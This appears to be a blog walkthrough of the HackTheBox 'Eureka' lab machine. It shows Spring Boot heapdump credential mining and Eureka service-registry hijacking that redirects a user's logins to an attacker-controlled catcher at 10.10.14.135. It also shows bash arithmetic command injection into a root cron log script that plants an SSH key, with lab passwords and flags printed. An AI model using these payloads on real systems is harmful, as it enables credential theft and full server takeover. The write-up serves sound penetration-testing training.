HackTheBox | Eureka

In this walkthrough, I demonstrate how I obtained complete ownership of Eureka on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Hard Challenge
Owned Eureka from Hack The Box!
I have just owned machine Eureka from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Apr 28 13:40:22 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.19.249
Warning: 10.129.19.249 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.19.249
Host is up (0.018s latency).
Not shown: 65125 closed tcp ports (reset), 407 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
| http-auth: 
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 28 13:41:29 2025 -- 1 IP address (1 host up) scanned in 67.65 seconds
đź’ˇ
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see the HTTP redirect to http://furni.htb which we should add to our /etc/hosts file.
echo -e '10.129.19.249\t\tfurni.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Walking the “happy path” · Pwning OWASP Juice Shop

Whenever an application offers you the opportunity to register for an account, you should always oblige, as you will want to see if being an authenticated user opens any additional features to explore.

Registering as test:testtesttest
Testing login
Contact form shows a possible username, different domain
Blog IDs are numerically incremented
Test leaving a comment on a blog article
Tried ordering a product with some junk data, but didn't seem to accept no matter what I tried
âś…
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know so Far

The furni.htb web application seems like a pretty typical e-commerce application:

  • Account registration — /process_register HTTP POST
  • Products — /shop URL
    • Add products — /cart/add/{ID} HTTP GET
  • Blog with comments feature
    • /blog/{ID}
    • /comment/add/1 — HTTP POST
  • Contact form — /contact HTTP POST



Spring Boot Error Page

Seeing this error page is a dead giveaway that the backend is Spring Boot



Brute Force Enumeration

gobuster vhost --domain 'furni.htb' --append-domain \
-u http://10.129.19.249 -t 100 -o vhost.txt \
-w /usr/share/seclists/Discovery/DNS/namelist.txt

I tried a few combinations of domains, including eureka.htb, but found nothing new

gobuster dir -u http://furni.htb/ -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -t 100 -o dir.txt -H 'Cookie: JSESSIONID=7E436244FA796CD302A67BB3DD5B85B5; SESSION=YTI4ZDlmZjMtZjZkMS00ZDA0LTg3NmMtNzE2M2I1N2NmMmI4
/actuator/caches      (Status: 200) [Size: 20]
/actuator/env/home    (Status: 200) [Size: 668]
/actuator/env         (Status: 200) [Size: 6307]
/actuator             (Status: 200) [Size: 2129]
/actuator/features    (Status: 200) [Size: 467]
/actuator/env/path    (Status: 200) [Size: 668]
/actuator/env/lang    (Status: 200) [Size: 668]
/actuator/info        (Status: 200) [Size: 2]
/actuator/metrics     (Status: 200) [Size: 3356]
/actuator/health      (Status: 200) [Size: 15]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings    (Status: 200) [Size: 35560]
/actuator/refresh     (Status: 405) [Size: 114]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/loggers     (Status: 200) [Size: 101483]
/actuator/conditions  (Status: 200) [Size: 184221]
/actuator/beans       (Status: 200) [Size: 202254]
/actuator/sessions    (Status: 400) [Size: 108]
/actuator/threaddump  (Status: 200) [Size: 431435]

SecLists has a word list of Spring Boot actuators and endpoints



Acutator Enumeration

đź’ˇ
Clicking through the various actuator paths, I found some moderately helpful information such as the base path for the web app: /var/www/web/Furni/, but I couldn't quite get a win, so I turned to Google for more information and found a helpful article on actuators here.

The article mentions grabbing the heapdump actuator and parsing it locally, but I wondered why it wasn't picked up by gobuster.

gobuster had thrown an error about timeout while waiting for the response body, so it's likely due to the file being so large. That the request timed out while reading it.

curl -s http://furni.htb/actuator/heapdump -O
77 MB in size, so pretty sure that's why
Mining Data from Git R... | 0xBEN | Notes
Interesting Files The regex patterns found on this page are just some examples you could use to ext…

Borrowing some of the grep patterns from here to search for sensitive data

strings heapdump | grep -Eai 'eureka\.htb|furni\.htb'
strings heapdump | grep -Eai "(secret|passwd|password)\ ?[=|:]\ ?['|\"]?\w{1,}['|\"]?"






Exploit

SSH Access

đź’ˇ
Always try the low-hanging fruit when you find a credential. Better to get an easy win up front. And if it fails, move onto the next best option.
ssh oscar190@furni.htb





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Linux eureka 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)    



Users and Groups

Local Users

oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash    

Local Groups

oscar190:x:1001:
miranda-wise:x:1002:
developers:x:1003:miranda-wise    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:61:11 brd ff:ff:ff:ff:ff:ff
    inet 10.129.83.214/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3313sec preferred_lft 3313sec
    inet6 dead:beef::250:56ff:feb0:6111/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb0:6111/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp   LISTEN     0      80              127.0.0.1:3306             0.0.0.0:*                                                                                    
tcp   LISTEN     0      4096        127.0.0.53%lo:53               0.0.0.0:*                                                                                    
tcp   LISTEN     0      4096   [::ffff:127.0.0.1]:8080                   *:*                                                                                    
tcp   LISTEN     0      100    [::ffff:127.0.0.1]:8081                   *:*                                                                                    
tcp   LISTEN     0      100    [::ffff:127.0.0.1]:8082                   *:*    



Processes and Services

Interesting Processes

   1154 www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Eureka-Server/src/main/resources/application.yaml
   1326 www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/user-management-service/src/main/resources/application.properties
   1329 www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Furni/src/main/resources/application.properties
   1536 www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/cloud-gateway/src/main/resources/application.yaml    



Interesting Files

JAR Files in Process Enumeration

/var/www/web/Furni/target/Furni-0.0.1-SNAPSHOT.jar
/var/www/web/cloud-gateway/target/demo-0.0.1-SNAPSHOT.jar
/var/www/web/user-management-service/target/Furni-0.0.1-SNAPSHOT.jar
/var/www/web/Eureka-Server/target/demo-0.0.1-SNAPSHOT.jar    

/opt/log_analyse.sh

#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi


analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")

    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}


analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}


display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))
        
        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi
        
        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}


# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

/var/www/web/user-management-service/log/application.log

grep -Eair 'eureka\.htb|furni\.htb' /var 2>/dev/null

/var/www/web/user-management-service/log/application.log:2025-04-09T11:18:03.033Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-2] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
/var/www/web/user-management-service/log/application.log:2025-04-09T11:19:01.819Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-10] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
/var/www/web/user-management-service/log/application.log:2025-04-09T11:20:01.490Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-7] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
/var/www/web/user-management-service/log/application.log:2025-04-09T11:21:01.223Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-5] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
/var/www/web/user-management-service/log/application.log:2025-04-09T11:22:01.778Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-3] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
/var/www/web/user-management-service/log/application.log:2025-04-09T11:23:01.296Z  INFO 1172 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-1] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully
...
...





Privilege Escalation

Dump Database

đź’ˇ
One of the first things I noticed is the MariaDB instance running on tcp/3306 internally. So, I tested the oscar190 credential against the database and was pleasantly surprised to find they worked.
mysql -u oscar190 -p'0sc@r190_S0l!dP@sswd'
SHOW DATABASES;
USE Furni_WebApp_DB;
SHOW TABLES;
SELECT * from users;
mysql -u 'oscar190' -p'0sc@r190_S0l!dP@sswd' -e 'USE Furni_WebApp_DB; SELECT email, password FROM users;' | grep 'miranda' | sed -E 's/\s{1,}/:/g'

Output Miranda's hash to a hash file

john --wordlist=~/Pentest/WordLists/rockyou.txt --fork=4 hash

Attempt to crack the hash

I'm just going to let this run in the background while I analyze some of the other artifacts I've found during the post-exploit enumeration phase.



Analyze JAR Files

User Management Service

đź’ˇ
Using the process of elimination and intel we found in the post-exploit enumeration, /var/www/web/user-management-service/target/Furni-0.0.1-SNAPSHOT.jar seems like the best bet, since this is the application with the log entry where Miranda is logging in.
scp -r oscar190@furni.htb:/var/www/web .

file_list.txt

JAR File Analysis | 0xBEN | Notes
JAR File Analysis sudo apt install -y jd-gui jadx jd-gui cloudhosting-0.0.1.jar Example: appl…
jd-gui ./web/user-management-service/target/Furni-0.0.1-SNAPSHOT.jar
We find a password for the web server requiring HTTP Basic Auth on tcp/8761



A Common Theme

Clicking through the rest of the JAR files, it seemed to be a repeat of the information already discovered. One string that does keep coming up regularly in the JAR files is:

eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

Doing a Google search for the string, eureka.client.service-url.defaultZone I find some interesting information about Netflix's Eureka.

1. Service Discovery: Eureka Clients
Eureka is the Netflix Service Discovery Server and Client. The server can be configured and deployed to be highly available, with each server replicating state about the registered services to the others.



Plotting the Attack Path

Hacking Netflix Eureka | Backbase Engineering
Found exposed Eureka server and don’t know what to do?
In this short research, you will look at Eureka from the attacker’s perspective and learn how to exploit SSRF and hijack internal infra’s or victims’ traffic...
đź’ˇ
After reading through the article and looking at the section titled: Attack Vector 2: Traffic Hijack and XSS, the attack path becomes clear based on a few key points which I'll detail below...
  • In the post-exploit enumeration, we found that miranda-wise is logging into the USER-MANAGEMENT-SERVICE application, as evidenced by /var/www/web/user-management-service/log/application.log
Using tail to watch the log in real-time, yet another login by miranda.wise
  • We have the Eureka client connection string to register an application with the Eureka server
  • We can register a malicious USER-MANAGEMENT-SERVER application that points back to our VPN IP, which should cause miranda-wise to authenticate to our server where we can capture her credential



Register the Malicious Service

Google search on using curl to register the service
curl -s http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Accept: application/json' | jq
Using some of the data from the existing app in the placeholders
{
  "instance": {
    "instanceId": "pwn",
    "hostName": "10.10.14.135",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.14.135",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "port": {
      "$": 80,
      "@enabled": true
    },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    },
    "status": "UP"
  }
}

Save to file data.json

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer

class SimplePostHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        # Log request headers
        print("=== Headers ===")
        for name, value in self.headers.items():
            print(f"{name}: {value}")
        
        # Get content length and read the body
        content_length = int(self.headers.get('Content-Length', 0))
        post_body = self.rfile.read(content_length).decode('utf-8')
        
        # Log the body
        print("\n=== Body ===")
        print(post_body)
        
        # Send response
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"POST received")

def run(server_class=HTTPServer, handler_class=SimplePostHandler, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on port {port}...")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

We'll use this Python server to catch the HTTP POST data and headers

sudo python3 catch_http_post.py
curl -i -H 'Content-Type: application/json' -d @data.json 'http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE'
Register the service via the REST API
Instance ID: pwn is now registered for USER-MANAGEMENT-SERVICE
Sure enough... We get a hit at the new service. miranda-wise:IL!veT0Be&BeT0L0ve
ℹ️
This works because the Eureka server directs the client traffic to our registered service, as that is the intended nature of Eureka -- to aid in registering and exposing microservices. We've just abused the core functionality to force client traffic to a malicious microservce.



Lateral to Miranda-Wise

ssh miranda-wise@furni.htb
đź’ˇ
From here, we repeat the post-exploit enumeration process

One thing to note is miranda-wise membership in the developers group. Doing some basic enumeration on what this group has access to, we have permissions over everything in the /var/www/web directory and under.

find / -type d -group developers -exec ls -ld {} \; 2>/dev/null | grep -vE '/proc|/sys|\.m2'
Spinning up another instance of pspy, root (UID=0) is calling the log_analyse.sh script found earlier

Looking at the frequency of the log_analyse.sh calls in the pspy output, it's abundantly clear that this is being triggered by a cron job. Now, we just need to figure out how we can abuse the log_analyse.sh script by tampering with the /var/www/web/cloud-gateway/log/application.log file.



Becoming Root

Researching Exploits

I spent a while picking the script apart and looking for any areas that might lead to command execution. Generally, based on my knowledge of the subject matter, I'm looking at the various user-controlled points in the script with things like:

  • Takes input from $LOG_FILE (user-control)
  • $() — can we inject in here?
  • [[ ]] — or in here?

I learned some really neat new tricks about abusing arithmetic logic in Bash scripts from these two sources:

BashPitfalls - Greg’s Wiki

See 7. [[ $foo > 7 ]]

the contents of $foo are interpreted as an arithmetic expression (and for instance, the a[$(reboot)] arithmetic expression would run the reboot command when evaluated).
Shell Arithmetic Expansion and Evaluation Abuse
Unconditional Command Execution

The biggest surprise for us was to find the unconditional command execution. Arithmetic expression should not perform command substitution at all; it should only expand and evaluate the statement. However, if an array is used in the expression and its index is a command then the shell will substitute that command with its result, therefore the command will be executed.

# VARIABLE='arr[$(uname -n -s -m -o)]' ./arithmetic.sh
arr[$(uname -n -s -m -o)]
./arithmetic.sh: line 4: Linux kali x86_64 GNU/Linux: syntax error in expression (error token is "kali x86_64 GNU/Linux")
uid=0(root) gid=0(root) groups=0(root)
đź’ˇ
So, the key takeaway here is... if you have a [[ ]] in Bash script, and you can control what is evaluated on either side of the arithmetic evaluation, a Bash array can be used to cause arbitrary command execution, because Bash will always try and expand the $() and read the result from the array.

But why does this apply to the target script? Because the -eq is an arithmetic operator in the same category as > in the example above.



Testing POC

/opt/log_analyse.sh -- vulnerable code snippet

This snippet does the following:

  1. grep for any line in the log file containing HTTP{wildcard}Status:
  2. Then, it loops over each match from grep input
  3. Use grep -oP 'Status: \K.* to keep only the value after Status: {value}
    1. So, HTTP Status: blah would yield blah
  4. It loops over declared status codes on line 16
  5. Then, it checks if [[ "$existing_code" -eq "$code" ]]
    1. And, in this case "$code" will be blah
    2. But instead of blah, we should inject something like arr[$(touch /tmp/pwned.txt)]
echo 'HTTP Status: arr[$(touch /tmp/poc.txt)]' > /tmp/poc_log.txt
/opt/log_analyse.sh /tmp/poc_log.txt
POC worked



Overwrite Sampled Log File

ssh-keygen -t rsa -b 4096 -f /home/miranda-wise/pwnykey -C "" -N ""

Generate a SSH keypair

echo 'HTTP Status: arr[$(mkdir /root/.ssh)]' > "$HOME/application.log"
echo 'HTTP Status: arr[$(cat /home/miranda-wise/pwnykey.pub >> /root/.ssh/authorized_keys)]' >> "$HOME/application.log"
echo 'HTTP Status: arr[$(echo 1 > /home/miranda-wise/pwned.txt)]' >> "$HOME/application.log"
mv "$HOME/application.log" /var/www/web/cloud-gateway/log/

Answer yes to overwrite

pwned.txt created by root so we know the command was executed
ssh -i pwnykey root@localhost

Use the private key to login to localhost



Flags

User

2fe204b21e54a46af5c4e6b4f49b64f6    

Root

484f1dbcb6ab1a2b977bba602c55ddc5    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.